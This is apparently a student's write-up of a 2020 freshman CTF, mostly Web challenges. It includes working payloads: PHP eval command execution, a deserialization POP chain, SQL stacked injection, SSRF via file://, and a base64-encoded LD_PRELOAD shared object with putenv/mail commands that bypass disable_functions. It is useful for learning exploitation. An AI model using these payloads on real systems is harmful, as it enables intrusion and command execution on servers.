writeup for 2020 新生杯

这次顶着桐老爷的id(kirito zbds, 本来只是想着做做Web和尝试做完Crypto的(结果没有做完,有趣的加密是真的有趣, 结果发现不做Misc分不太够, 就肝了几道, 还是学到了不少东西的.

所以先来个目录吧(pwn真的是一道都不会嗯…:

Web

OSINT

REVERSE

Misc

Cyrpto

Web

假的签到

robots! robots! robots! robots协议
这个协议里面是用来设定一些网站里不能被搜索引擎获取的内容的(不过CTF里就变成提示做题人方向的一个文件了?
一般拿到web说不定robots.txt里面就有提示呢不过大概率是没有的

所以马上进/robots.txt看看, 里面有个提示:/phpp_tql.php
访问/phpp_tql.php有一段源码
图片.png
看了下是关于md5的比较的,因为是===, 肯定不会是弱类型了, 想起之前就挖过一个坑某篇MD5的总结, 所以很快就想到用数组来做了.

当a和b都是数组的时候, md5(a) === md5(b) 会判断为真.
利用这个就可以构造payload: ?phpp[]=1&hphh[]=2

世界上最简单的后门

图片.png
啊这, eval()真的很安全的.
关于直接把用户的输入直接放在eval()中导致目录都被翻了个遍这档事(
也没想太多, 手动翻了一下目录(dalao都是直接搜索flag的
往上翻一个目录system('ls /');就发现有flag了
于是掏出hackbar(POST) c=system('cat /flag');

Let’s play a simple game again

开头根据要求GET和POST传参就行了.
图片.png
但是这里好像出了一个小问题. 做题的时候都是想着怎么做快就怎么做. 于是给主办方提交wp的时候似乎遗漏了什么(不要打我我真的是后来才发现的…

不是admin就进不去吗! 其实第一想法应该就是X-Forwarded-For改127.0.0.1的, 然而我直接去看Cookies了, 也没有改XFF(X-Forwarded-For

发现Cookies: YWRtaW49MA==, 两个等号十有八九是base64了, 扔去base64解码出来的是admin=0, 想着让Cookies为admin=1应该没问题了. 所以将Cookies改成YWRtaW49MQ==, 就拿到Welcome admin! Here is your flag:ctf{Have_4_n1ce_c0mpetition!}了.

然而…事情并没有这么简单, 昨天某御坂大佬发了自己的wp之后我发现, 什么???X-Forwarded-For要改127.0.0.1???, 我没改怎么拿到flag了???
于是看了看自己的firefox插件…
图片.png
屮…原来是之前做了题就没有关掉这个, 导致自己一直都是127.0.0.1…
所以直接就出flag了…
但是wp已经提交了啊! 也没办法改了, 说实话有点慌…

lottery_revenge

去年也有抽奖, 一样的页面, 不一样的味道…(伪随机数的攻击居然在web里面出现了…

因为去年做过, 所以上来直接就开抽了(burpsuite永远的神, 但是发现不断访问data.php都是同一个响应, 有点不太对劲.
所以看了看响应发现了一段注释

图片.png

啊…抽奖它, 它升级了.
要求$_POST['admin_key']==$_SESSION['key']

session就是时间戳吧. 第一个想法是先取现在的时间戳加上一个常数然后不停访问. 但是怎样都访问不成功(事实上就算访问成功了也就抽了一次奖, 下一次还得重新构造新的时间戳…

其实这里卡了一段时间(我也不知道自己到底爆破了多久…, 发现怎样都不行后就去看了下$_SESSION变量有没有什么可以利用的特性或者漏洞. 还真就发现了一个特性:当用户第一次访问的时候,$_SESSION的所有变量都是为空的(就是说初始化为空嘛, 可以看一下源码, 给$_SESSION['key']赋值是在一次访问之后, 所以!

只需要不带Cookies以及带上空的admin_key访问data.php就可以开始抽奖啦.
抽出结果还是很开心的, 但是结果还需要下一步…
图片.png

离谱, 按着提示进去
图片.png

一开始没懂这个页面要我干嘛, 看看注释有没有提示, 发现下面有个source=1
dddd, ?source=1看源码

图片.png

大概是说随机生成30个数, 对应一个表中的30个字母生成一个随机的字符串, 给出前11位猜整个字符串.

毕竟做了挺多伪随机数的题了, 看到mt_rand()就想起之前差点没把我整吐的MT-19937.(当种子设定每次随机出来的数都是一模一样是不是很神奇啊! N1CTF那道伪随机数还历历在目.

所以说, 理论上知道随机数前面的几位输出是可以逆推回种子的(有时候需要足够多的输出才能得到种子, 但具体逆的算法肯定不是这题的考点(考了我也逆不出来, python脚本倒是有一个…

所以去搜了一下有没有攻击mt_rand()的脚本. 真就有一个php_mt_seed, github上就有了. 但是做的时候这里踩了一个大坑, github上面的是低版本的脚本, 所以导致跑了一下午都没有跑出结果来.

直到晚上发现别人的blog用的明显不是一个版本的脚本! 才去找了找发现真有从未体验过的船新版本, 马上扔进虚拟机跑, 不到一分钟就出结果了.
图片.png

拿着刚出来的种子生成字符串提交就行了

unserialize

一直觉得反序列化真的很有意思, 就像推理一样一步一步的往下推出payload
源码在这

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
<?php

highlight_file(__FILE__);
class A{
public $data;
public function __destruct()
{
$this->data->close();
}
}
class B{

public $cache;
public function getit($key){
if (isset($this->cache[$key])){
return $this->cache[$key];
}
}
public function __call($method, $args)
{

return call_user_func_array($this->getit($method), $args);

}
}
class C{

public $evil,$arggg;
public function evallll(){
call_user_func($this->evil,$this->arggg);

}
}
unserialize($_GET['sssssss']);

首先call_user_func()可以执行php中的函数, 包括system(), assert()这些危险的函数

而源码里面只有在类C中的call_user_func()是可以自己给定执行的函数和所用的参数的, 变量$evil和函数evallll()也提示了危险函数就出现在类C中, 所以现在的目的就是想办法调用类C中的evallll()

反序列化的题基本离不开魔法函数, 找了一下, 这里的出现了__destruct()__call($method, $args).

对于__destruct(), 当某个对象被销毁的时候如果存在这个方法就会调用它. 程序结束肯定会销毁呀.

而对于__call():
当某个对象的一个不存在的方法被调用时, 如果call方法存在, 则会调用call方法, 第一个参数是所调用的那个不存在的方法名, 第二个参数是调用不存在的方法时的参数.

因为A中的__destruct()会调用$data->close(), 所以能靠这个从A进入B的__call.

再看看B中的call_user_func_array($this->getit($method), $args);
其实就是call_user_func_array($this->cache[$key], $args);

做到这里我就卡住了, 因为$args并不可控, 所以一时半会想不到怎样通过B中的这个函数去进入C. 于是决定去看看call_user_func_array();的手册.

这才知道原来这个函数的第一个参数可以是一个数组,具体是这样:[对象,对象的方法], 这样就可以调用C中的evallll()了!

所以只需要有:

1
2
3
4
5
6
7
8
9
class C中:
$evil = 'system()';
$arggg = cmd; # 具体就是需要执行的指令

class B中:
$cache['close'] = [new C,'evallll']

class A中:
$data = new B

这样就可以任意执行命令了. 至于构造payload, 利用php就能构造了.
附上构造的代码:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
<?php

class A
{
public $data;
public function make($ob)
{
$this->data = $ob;
}
}


class B
{

public $cache;
public function make($ob2)
{
$this->cache = $ob2;
}
public function getit($key)
{
if (isset($this->cache[$key])) {
return $this->cache[$key];
}
}
public function __call($method, $args)
{

return call_user_func_array($this->getit($method), $args);
}
}


class C
{

public $evil = 'system';
public $arggg = 'cat /flag';
public function evallll()
{
call_user_func($this->evil, $this->arggg);
}
}

$a = new A;
$b = new B;
$b->make(['close' => [new C, 'evallll']]);
$a->make($b);
var_dump(serialize($a));

得到的payload为:
1
?sssssss=O:1:"A":1:{s:4:"data";O:1:"B":1:{s:5:"cache";a:1:{s:5:"close";a:2:{i:0;O:1:"C":2:{s:4:"evil";s:6:"system";s:5:"arggg";s:9:"cat /flag";}i:1;s:7:"evallll";}}}}

又一个后门

这题做的时候发生了件小趣事(当然不是指前二血的大佬在/tmp下面搞事情啦.也不是指上一个大佬做完了题连so文件都没有删啦.更不是指自己做完了还忘记把flag文件给清理掉.

看了下phpinfo(), 发现能执行命令的函数都被ban掉了.

利用scandir()函数搜索网站目录.发现有tmp文件夹, 尝试上传文件发现可行.

想了想是否存在绕过disable_functions的漏洞呢?翻了翻百度, 找到一个在Github上的利用LD_PRELOAD漏洞绕过disable_functions的项目.附上链接

具体原理是利用LD_PRELOAD的特点,它可以影响程序的运行时的链接,它允许在程序运行前优先加载用户定义的动态链接库, 这样就可以覆盖正常的函数库, 调用一些被ban的函数.(有理解的不对的大佬请务必告诉我!!!

所以根据github上面的README.MD一步一步的做就行了

1. 先上传一个bypass_disablefunc_x64.so

由于so文件是二进制文件, 所以上传的时候考虑先base64编码, 传上去用php自带的函数解码,下面是当时做题的payload(可能会有点长hhh

1
c=var_dump(scandir('/var/tmp'));$a='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AAAAAAMAEQAYCSAAAAAAAAAAAAAAAAAAAAAAAAMAEgAgCSAAAAAAAAAAAAAAAAAAAAAAAAMAEwAoCSAAAAAAAAAAAAAAAAAAAAAAAAMAFADoCiAAAAAAAAAAAAAAAAAAAAAAAAMAFQAYCyAAAAAAAAAAAAAAAAAAAAAAAAMAFgBYCyAAAAAAAAAAAAAAAAAAAAAAAAMAFwBgCyAAAAAAAAAAAAAAAAAAAAAAAAMAGAAAAAAAAAAAAAAAAAAAAAAAAQAAAAQA8f8AAAAAAAAAAAAAAAAAAAAADAAAAAEAEgAgCSAAAAAAAAAAAAAAAAAAGQAAAAIACwDABgAAAAAAAAAAAAAAAAAALgAAAAIACwAABwAAAAAAAAAAAAAAAAAAQQAAAAIACwBQBwAAAAAAAAAAAAAAAAAAVwAAAAEAFwBgCyAAAAAAAAEAAAAAAAAAZgAAAAEAEQAYCSAAAAAAAAAAAAAAAAAAjQAAAAIACwCQBwAAAAAAAAAAAAAAAAAAmQAAAAEAEAAICSAAAAAAAAAAAAAAAAAAuAAAAAQA8f8AAAAAAAAAAAAAAAAAAAAAAQAAAAQA8f8AAAAAAAAAAAAAAAAAAAAAzQAAAAEADwAACQAAAAAAAAAAAAAAAAAA2wAAAAEAEgAgCSAAAAAAAAAAAAAAAAAAAAAAAAQA8f8AAAAAAAAAAAAAAAAAAAAA5wAAAAEAFgBYCyAAAAAAAAAAAAAAAAAA9AAAAAEAEwAoCSAAAAAAAAAAAAAAAAAA/QAAAAEAFgBgCyAAAAAAAAAAAAAAAAAACQEAAAEAFQAYCyAAAAAAAAAAAAAAAAAAHwEAABIAAAAAAAAAAAAAAAAAAAAAAAAAMwEAACAAAAAAAAAAAAAAAAAAAAAAAAAATwEAABAAFgBgCyAAAAAAAAAAAAAAAAAAVgEAABIADABgCAAAAAAAAAAAAAAAAAAAXAEAABIAAAAAAAAAAAAAAAAAAAAAAAAAcAEAACAAAAAAAAAAAAAAAAAAAAAAAAAAfwEAABEAAAAAAAAAAAAAAAAAAAAAAAAAlAEAABAAFwBoCyAAAAAAAAAAAAAAAAAAmQEAABAAFwBgCyAAAAAAAAAAAAAAAAAApQEAABIACwDABwAAAAAAAJ0AAAAAAAAArQEAACAAAAAAAAAAAAAAAAAAAAAAAAAAwQEAABEAAAAAAAAAAAAAAAAAAAAAAAAA2AEAACAAAAAAAAAAAAAAAAAAAAAAAAAA8gEAACIAAAAAAAAAAAAAAAAAAAAAAAAADgIAABIACQA4BgAAAAAAAAAAAAAAAAAAFAIAABIAAAAAAAAAAAAAAAAAAAAAAAAAAGNydHN0dWZmLmMAX19KQ1JfTElTVF9fAGRlcmVnaXN0ZXJfdG1fY2xvbmVzAHJlZ2lzdGVyX3RtX2Nsb25lcwBfX2RvX2dsb2JhbF9kdG9yc19hdXgAY29tcGxldGVkLjY2NzAAX19kb19nbG9iYWxfZHRvcnNfYXV4X2ZpbmlfYXJyYXlfZW50cnkAZnJhbWVfZHVtbXkAX19mcmFtZV9kdW1teV9pbml0X2FycmF5X2VudHJ5AGJ5cGFzc19kaXNhYmxlZnVuYy5jAF9fRlJBTUVfRU5EX18AX19KQ1JfRU5EX18AX19kc29faGFuZGxlAF9EWU5BTUlDAF9fVE1DX0VORF9fAF9HTE9CQUxfT0ZGU0VUX1RBQkxFXwBnZXRlbnZAQEdMSUJDXzIuMi41AF9JVE1fZGVyZWdpc3RlclRNQ2xvbmVUYWJsZQBfZWRhdGEAX2ZpbmkAc3lzdGVtQEBHTElCQ18yLjIuNQBfX2dtb25fc3RhcnRfXwBlbnZpcm9uQEBHTElCQ18yLjIuNQBfZW5kAF9fYnNzX3N0YXJ0AHByZWxvYWQAX0p2X1JlZ2lzdGVyQ2xhc3NlcwBfX2Vudmlyb25AQEdMSUJDXzIuMi41AF9JVE1fcmVnaXN0ZXJUTUNsb25lVGFibGUAX19jeGFfZmluYWxpemVAQEdMSUJDXzIuMi41AF9pbml0AHN0cnN0ckBAR0xJQkNfMi4yLjUAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABsAAAAHAAAAAgAAAAAAAACQAQAAAAAAAJABAAAAAAAAJAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAuAAAA9v//bwIAAAAAAAAAuAEAAAAAAAC4AQAAAAAAADwAAAAAAAAAAwAAAAAAAAAIAAAAAAAAAAAAAAAAAAAAOAAAAAsAAAACAAAAAAAAAPgBAAAAAAAA+AEAAAAAAADIAQAAAAAAAAQAAAACAAAACAAAAAAAAAAYAAAAAAAAAEAAAAADAAAAAgAAAAAAAADAAwAAAAAAAMADAAAAAAAAygAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAABIAAAA////bwIAAAAAAAAAigQAAAAAAACKBAAAAAAAACYAAAAAAAAAAwAAAAAAAAACAAAAAAAAAAIAAAAAAAAAVQAAAP7//28CAAAAAAAAALAEAAAAAAAAsAQAAAAAAAAgAAAAAAAAAAQAAAABAAAACAAAAAAAAAAAAAAAAAAAAGQAAAAEAAAAAgAAAAAAAADQBAAAAAAAANAEAAAAAAAA8AAAAAAAAAADAAAAAAAAAAgAAAAAAAAAGAAAAAAAAABuAAAABAAAAEIAAAAAAAAAwAUAAAAAAADABQAAAAAAAHgAAAAAAAAAAwAAAAoAAAAIAAAAAAAAABgAAAAAAAAAeAAAAAEAAAAGAAAAAAAAADgGAAAAAAAAOAYAAAAAAAAaAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAAAAAAAAAAAHMAAAABAAAABgAAAAAAAABgBgAAAAAAAGAGAAAAAAAAYAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAEAAAAAAAAAB+AAAAAQAAAAYAAAAAAAAAwAYAAAAAAADABgAAAAAAAJ0BAAAAAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAhAAAAAEAAAAGAAAAAAAAAGAIAAAAAAAAYAgAAAAAAAAJAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAAAAAAAAAAAIoAAAABAAAAAgAAAAAAAABpCAAAAAAAAGkIAAAAAAAAGAAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAACSAAAAAQAAAAIAAAAAAAAAhAgAAAAAAACECAAAAAAAABwAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAoAAAAAEAAAACAAAAAAAAAKAIAAAAAAAAoAgAAAAAAABkAAAAAAAAAAAAAAAAAAAACAAAAAAAAAAAAAAAAAAAAKoAAAAOAAAAAwAAAAAAAAAICSAAAAAAAAgJAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAgAAAAAAAAAAAAAAAAAAAC2AAAADwAAAAMAAAAAAAAAGAkgAAAAAAAYCQAAAAAAAAgAAAAAAAAAAAAAAAAAAAAIAAAAAAAAAAAAAAAAAAAAwgAAAAEAAAADAAAAAAAAACAJIAAAAAAAIAkAAAAAAAAIAAAAAAAAAAAAAAAAAAAACAAAAAAAAAAAAAAAAAAAAMcAAAAGAAAAAwAAAAAAAAAoCSAAAAAAACgJAAAAAAAAwAEAAAAAAAAEAAAAAAAAAAgAAAAAAAAAEAAAAAAAAADQAAAAAQAAAAMAAAAAAAAA6AogAAAAAADoCgAAAAAAADAAAAAAAAAAAAAAAAAAAAAIAAAAAAAAAAgAAAAAAAAA1QAAAAEAAAADAAAAAAAAABgLIAAAAAAAGAsAAAAAAABAAAAAAAAAAAAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAN4AAAABAAAAAwAAAAAAAABYCyAAAAAAAFgLAAAAAAAACAAAAAAAAAAAAAAAAAAAAAgAAAAAAAAAAAAAAAAAAADkAAAACAAAAAMAAAAAAAAAYAsgAAAAAABgCwAAAAAAAAgAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAAAAAAAAAAA6QAAAAEAAAAwAAAAAAAAAAAAAAAAAAAAYAsAAAAAAAAkAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAABEAAAADAAAAAAAAAAAAAAAAAAAAAAAAAIQLAAAAAAAA8gAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAABAAAAAgAAAAAAAAAAAAAAAAAAAAAAAAB4DAAAAAAAAIgFAAAAAAAAGwAAACsAAAAIAAAAAAAAABgAAAAAAAAACQAAAAMAAAAAAAAAAAAAAAAAAAAAAAAAABIAAAAAAAAoAgAAAAAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAA';var_dump(file_put_contents('/var/tmp/helloworld.so',base64_decode($a)));

2. 利用so文件绕过被ban的函数

把so文件传上去后其实可以继续传项目里的那个php的, 不过还是想试试能不能直接在payload里面实现.

其实也不难, 先设置需要执行的命令/readflag > /var/tmp/K1rit0, 再设置环境变量LD_PRELOAD的值为刚刚传上去的helloworld.so, 然后调用mail(). 这个时候就会再/tmp下生成一个K1rit0, 里面就是/readflag的结果了!

所以payload为:

1
c=var_dump(putenv("EVIL_CMDLINE=/readflag > /var/tmp/K1rit0"));var_dump(putenv("LD_PRELOAD=/var/tmp/helloworld.so"));var_dump(mail(' ',' ',' ',' '));var_dump(file_get_contents('/var/tmp/K1rit0'));

babysql

图片.png
真的很baby, query语句直接给出来了.参考自己的另外一个坑就能做了某篇sql总结

当时想都没想直接堆叠注入了(以至于以为这题过滤都没有,其实select这些还是被过滤掉了的
1';show databases;show tables # 直接爆出库名和表名了
1';desc flag # 爆出字段名
图片.png
然后就发现特殊字符串enjoy_Sq1i11_qu3ryy 包裹ctf{}提交了

babyssrf

白给白给

利用file://协议, 提示说的很清楚了就在/flag

payload: ?url=file:///flag

OSINT

checkin

搜啊搜搜啊搜, 真的是搜出来的flag哦(按着提示搜就行了

REVERSE

因为本身就是为了拿分才做的RE, 所以wp就比较简短了(真不想写hhh

可以去看看Misaka大佬的wp

捉迷藏

Ida打开文件, 随便翻了翻, 发现
图片.png
根据语义手动拼回flag

basic_hash

我就只会F5! 还好主函数很简单, 就是要求做题人利用异或运算的特点A+B+B = A还原两个md5值,然后扔到某MD5爆破网站获得flag.
把ida中的两个字符串的值手动输入到脚本中,跑脚本就完事了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
v9 = [70, -121, -115, 4, -67, 52, 126, 42, 113, 114, 79, 91, -61, -63, 6, -14]
v26 = [59, -87, 103, -122, -46, -112, 104, -30, -92, 113, 125, -85, -14, 41, -24, 31]

mask = 0b11111111

for i in range(len(v9)):
if v9[i] < 0:
v9[i] = abs(v9[i] ^ mask) - 1

for i in range(len(v26)):
if v26[i] < 0:
v26[i] = abs(v26[i] ^ mask) - 1

input1_md5 = ''.join([hex(i ^ 0x30)[2:].zfill(2) for i in v9])
input2_md5 = ''.join([hex(i ^ 0x20)[2:].zfill(2) for i in v26])
print(input1_md5)
print(input2_md5)

这样就拿到两个MD5了
1
2
76b7bd348d044e1a41427f6bf3f136c2
1b8947a6f2b048c284515d8bd209c83f

扔进网站, 得到flag

ByteCode

因为爽哥说很简单, 所以我就来看看, 百度了一下ByteCode. 知道是就是一堆操作之后. 找到ByteCode和操作的对应表! 拿出纸笔! 点开计算机! 一点一点手动往回算…(手动算的感觉针不戳
算完ascii码全部转成字符串就是flag了

Misc

说实话没想到Misc这么多题, 不过Misc做起来就感觉像猜谜一样, 也挺有趣的.

真·签到

不亏是我最拿手的签到题.秒解flag 2333

Look_at_your_keyboard

题目都说了看键盘咯.

1
ewazx tyugv iuhbvghj uhb iujmn iuhbvghj yhnmki vgyhnji

键盘上是怎样的就怎样的(所以做的时候觉得S是8, I是1的肯定不是我一个吧!
结果是ctfisfun, 对着键盘看就能看出来了.

Buddha

也没啥好说的.
新佛曰->base64->栅栏密码

Do you know Xp0int

用记事本打开图片.
眼睛一行一行的看有没有flag搜索ctf{ 结果啥都没
{ 就找到flag了. 似乎有个可以跑出文件中出现的字符串的脚本

close_base

base64解码发现是C语言源码 (输出不是hello,world, 差评!
估计是base64隐写了, 毕竟每一行base64编码结尾都有等号, 肯定能藏很多东西2333
所以base64隐写是啥?这里不写了…
直接上脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
def bin2text(Bin):
Hex = hex(int(Bin, 2))[2:]
if len(Hex) % 2: Hex = '0' + Hex
return ''.join([chr(int(b, 16)) for b in [Hex[i:i + 2] for i in range(0, len(Hex), 2)]])


table = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'
res = ''

with open('base.txt', 'r') as f:
base = f.readlines()
